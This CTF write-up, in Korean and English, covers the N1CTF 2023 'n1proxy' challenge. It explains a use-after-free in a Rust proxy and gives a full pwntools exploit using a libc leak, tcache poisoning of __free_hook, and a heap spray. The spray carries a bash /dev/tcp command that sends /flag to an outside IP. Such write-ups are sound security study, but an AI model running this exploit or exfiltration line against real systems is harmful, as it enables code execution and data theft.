[CTF write up] N1CTF 2023 - n1proxy : Exploit UAF in Proxy Binary developed with RUST

2023. 10. 24. 18:19CTF write up

https://github.com/Nu1LCTF/n1ctf-2023/blob/main/pwn/n1proxy/server/src/main.rs

문제 소스코드는 출제자의 Github에서 확인할 수 있다. 솔버가 1명 밖에 없는 문제였고, 대회 당시에 끝내지 못했지만, 굉장히 퀄리티가 높은 챌린지였기 때문에 대회 후에 마저 풀었다.

You can check provided source code of challenge in author's github. It was a challenge with only one solver, and I couldn't finish it at the time of the competition, but it was a good challenge, so I finished it after the competition.

 

코드를 읽어보면 단순한 동작을 하는 Proxy 프로그램이라는 것을 알 수 있다. 처음에, 서버와 클라이언트 각각 RSA를 이용해 키 교환을 하고 session을 생성한다음, 이후에는 RSA 서명을 포함한 데이터를 session_key로 암/복호화하면서 통신한다. 사용자는 바이너리를 통해서 TCP, UDP, UNIX Socket으로 send / recv / conn / listen과 같은 동작을 할 수 있다.

 

If you read the code, you can see that it is a proxy program that performs simple operations. First, the server and client each exchange keys using RSA and create a session, and then communicate by encrypting/decrypting data including the RSA signature with the session_key. Users can perform operations such as send / recv / conn / listen through TCP, UDP, and UNIX Socket through binary.

 

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(),
        msg_iovlen: 1,
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec())
}

취약점은 꽤 간단하다. Rust에서, Vector 객체의 소유권은 변수에 종속되어 있다. 해당 변수를 관리하는 함수가 종료되면 Vector 객체는 해제되게 되고, 만약 함수에서 해당 변수를 반환하면 Vector 객체의 소유권 역시 변수와 함께 상위 함수로 반환되게 된다. 

 

The vulnerability is pretty simple. In Rust, ownership of Vector objects is dependent on variables. When the function that manages the variable ends, the Vector object is released, and if the function returns the variable, the ownership of the Vector object is also returned to the parent function along with the variable.

 

    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];

그렇다면, 해당 코드에 큰 문제가 있다는 것을 알 수 있다. vec![0u8; recv_size].as_mut_ptr() 는 vec![0u8; recv_size]의 원시 포인터를 반환하는데, vec![0u8; recv_size]의 소유권은 어떠한 변수도 가지고 있지 않으므로 생성과 동시에 해제되게 된다. 따라서 UAF가 발생하게 된다.

 

If so, you know there is a big problem with that code. vec![0u8; recv_size].as_mut_ptr() returns a raw pointer to vec![0u8; recv_size]. Since Any variables doesn't have the ownership of vec![0u8; recv_size], it is released at the time of creation. Therefore, UAF occurs.

 

 

 

위와 같이 recvmsg 함수에 breakpoint를 걸고 확인해보면 실제로 해제된 메모리에 접근하는 것을 확인할 수 있다. 

If you set a breakpoint in the recvmsg function as shown above and check, you can see that freed memory is actually accessed.

 

대부분의 Heap Exploitation처럼 Unsorted bin을 이용해 libc를 유출하고 Tcache Poisoning을 통해 __free_hook을 덮으면 된다. 다만, Rust 내부에서 해제와 할당을 반복하기 때문에 Heap Layout이 상당히 끔찍하다. 잘 사용되지 않는 Tcache 사이즈를 선택한다음, slice::from_raw_parts 함수가 같은 크기의 Heap 메모리를 할당받고 복사를 하는 것을 이용하면 어렵지 않게 __free_hook을 system 주소로 덮을 수 있다. 이후에는 Reverse Shell 명령어가 담긴 Heap 메모리가 해제되도록 스프레잉하면 된다.

 

Like most Heap Exploitation, you can leak libc using Unsorted bin and overwrite __free_hook through Tcache Poisoning. However, the heap layout is quite terrible because free and allocation are repeated inside Rust. After selecting a Tcache size that is not used often, you can easily overwrite  __free_hook with the system address by using the slice::from_raw_parts function that allocates and copies heap memory of the same size. Afterwards, just spray to free the heap memory containing the Reverse Shell command.

 

from pwn import *

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad
from typing import NamedTuple, Tuple, Optional

import random

ConnType_New = 0
ConnType_Restore = 1
ConnType_Renew = 2
ConnType_Restart = 114514
ConnType_Unknown = 3

ProxyType_Tcp = 0
ProxyType_Udp = 1
ProxyType_Sock = 2
ProxyType_Unknown = 3

ProxyStatus_Send = 0
ProxyStatus_Recv = 1
ProxyStatus_Conn = 2
ProxyStatus_Close = 3
ProxyStatus_Listen = 4
ProxyStatus_Unknown = 5

def hexdump(data):
    dump = []
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_data = ' '.join(f"{b:02x}" for b in chunk)
        ascii_data = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
        dump.append(f"{i:04x}  {hex_data:{' '}<{48}}  {ascii_data}")
    return '\n'.join(dump)

def custom_pad(data: bytes, block_size: int) -> bytes:
    padding_len = (block_size - (len(data) % block_size)) % block_size
    return data + bytes([padding_len]) * padding_len

def custom_unpad(data: bytes, block_size: int) -> bytes:
    padding_len = data[-1]
    if data[-padding_len:] != bytes([padding_len]) * padding_len:
        raise ValueError("Invalid padding")
    return data[:-padding_len]

def session_enc(keys: bytes, msg: bytes):
    key = keys[:32]
    iv = keys[32:]

    padded_msg = custom_pad(msg, 16)

    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(padded_msg)
    return enc


def session_dec(keys: bytes, msg: bytes):
    key = keys[:32]
    iv = keys[32:]

    cipher = AES.new(key, AES.MODE_CBC, iv)
    dec = custom_unpad(cipher.decrypt(msg), 16)
    return dec

def RSA_sign(priv_key, msg):
    return pkcs1_15.new(RSA.import_key(priv_key)).sign(SHA256.new(msg))

def RSA_dec(priv_key, msg):
    return PKCS1_v1_5.new(RSA.import_key(priv_key)).decrypt(msg, None)

def key_exchanger(p, conntype, client_pri_key=0, client_pub_key_n=0, client_pub_key_e=0):
    p.recvuntil(b'n1proxy server v0.1')
    # clinet hello
    p.send(b'n1proxy client v0.1')
    # ConnType
    p.send(p32(conntype))

    key_exchange_sign_len = u64(p.recvn(8))
    key_exchange_sign = p.recvn(key_exchange_sign_len)

    pub_key_n_len = u64(p.recvn(8))
    pub_key_e_len = u64(p.recvn(8))

    pub_key_n = p.recvn(pub_key_n_len)
    pub_key_e = p.recvn(pub_key_e_len)

    if conntype != ConnType_Restore:
        client_key = RSA.generate(4096)
        client_pri_key = client_key.export_key()
        client_pub_key = client_key.publickey()

        client_pub_key_n = int(client_pub_key.n).to_bytes((client_pub_key.n.bit_length() + 7) // 8, byteorder='big')
        client_pub_key_e = int(client_pub_key.e).to_bytes((client_pub_key.e.bit_length() + 7) // 8, byteorder='big')

    client_key_exchange = (
        len(client_pub_key_n).to_bytes(8, byteorder='little') +
        client_pub_key_n +
        len(client_pub_key_e).to_bytes(8, byteorder='little') +
        client_pub_key_e
    )

    client_key_exchange_sign = RSA_sign(client_pri_key, client_key_exchange)

    p.send(p64(len(client_key_exchange_sign)))
    p.send(client_key_exchange_sign)
    p.send(p64(len(client_pub_key_n)))
    p.send(client_pub_key_n)
    p.send(p64(len(client_pub_key_e)))
    p.send(client_pub_key_e)

    print(f'[+] key_exchanger{conntype} -> priv_key : {client_pri_key[:10]}...')
    return (client_pri_key, client_pub_key_n, client_pub_key_e)

def read_session_key(p, priv_key):
    new_session_sign_len = u64(p.recvn(8))
    new_session_sign = p.recvn(new_session_sign_len)

    new_session_enc_key_len = u64(p.recvn(8))
    new_session_enc_key = p.recvn(new_session_enc_key_len)

    new_session_enc_time_len = u64(p.recvn(8))
    new_session_enc_time = p.recvn(new_session_enc_time_len)

    new_session_dec_key = RSA_dec(priv_key, new_session_enc_key)

    print(f'[+] read_session_key -> session_key : {list(new_session_dec_key)}...')
    return new_session_dec_key

def read_ok_msg(p):
    p.recvn(528)

def make_payload(pay):
    payload = pay
    payload += RSA_sign(client_pri_key, payload)
    return session_enc(session_key, payload)

binary = process("./n1proxy_server")

TARGET_SERVER_HOST = '127.0.0.1'
TARGET_SERVER_PORT = 8080

# run listen
p = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p, ConnType_New)
session_key = read_session_key(p, client_pri_key)

p.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Listen)))
read_ok_msg(p)

target_host = ('abcd' + str(random.randint(0,999999999999999999))).encode()
target_host_len = len(target_host)
target_port = 12345
p.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))

# run conn
p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Conn)))
read_ok_msg(p1)
p1.send(make_payload(p32(target_host_len) + target_host + p16(target_port)))

listen_fd = u32(session_dec(session_key, p.recvn(528))[:4])
conn_fd = u32(session_dec(session_key, p1.recvn(528))[:4])
print(f'[+] listen_fd : {listen_fd}')
print(f'[+] conn_fd : {conn_fd}')
p.close()
p1.close()


#run send
p2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))
read_ok_msg(p2)
p2.send(make_payload( p32(conn_fd) + p64(1) + b'a'))
p2.close()

# run recv
p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))
read_ok_msg(p1)
p1.send(make_payload(p32(listen_fd) + p64(1024)))

res = session_dec(session_key, p1.recvall(timeout=3))
p1.close()

libc_base = u64(res[8:16]) - 0x3ebc61
free_hook = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f420
print(f'libc_base = {hex(libc_base)}')
print(f'free_hook = {hex(free_hook)}')
print(f'system_addr = {hex(system_addr)}')

#tcache poisoning
p2 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p2, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p2.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Send)))
read_ok_msg(p2)
p2.send(make_payload( p32(conn_fd) + p64(0x20) + p64(free_hook-0x18)+p64(0x0)+p64(system_addr)+p64(system_addr)))
p2.close()

p1 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
client_pri_key, client_pub_key_n, client_pub_key_e = key_exchanger(p1, ConnType_Restore, client_pri_key, client_pub_key_n, client_pub_key_e)

p1.send(make_payload(p32(ProxyType_Sock) + p32(ProxyStatus_Recv)))
read_ok_msg(p1)
p1.send(make_payload(p32(listen_fd) + p64(0x80)))
p1.close()

command = b'id;id;id;id;id;bash -c "cat /flag >&/dev/tcp/172.17.0.2/7070";#'*100

for i in range(0,100):
    p3 = remote(TARGET_SERVER_HOST, TARGET_SERVER_PORT)
    p3.send(b'n1proxy client v0.1')
    p3.send(p32(ConnType_Restore))

    p3.send(p64(512))
    p3.send(command[:512])
    p3.send(p64(512))
    p3.send(command[:512])
    p3.send(p64(3))
    p3.send(command[:3])

binary.interactive()
binary.kill()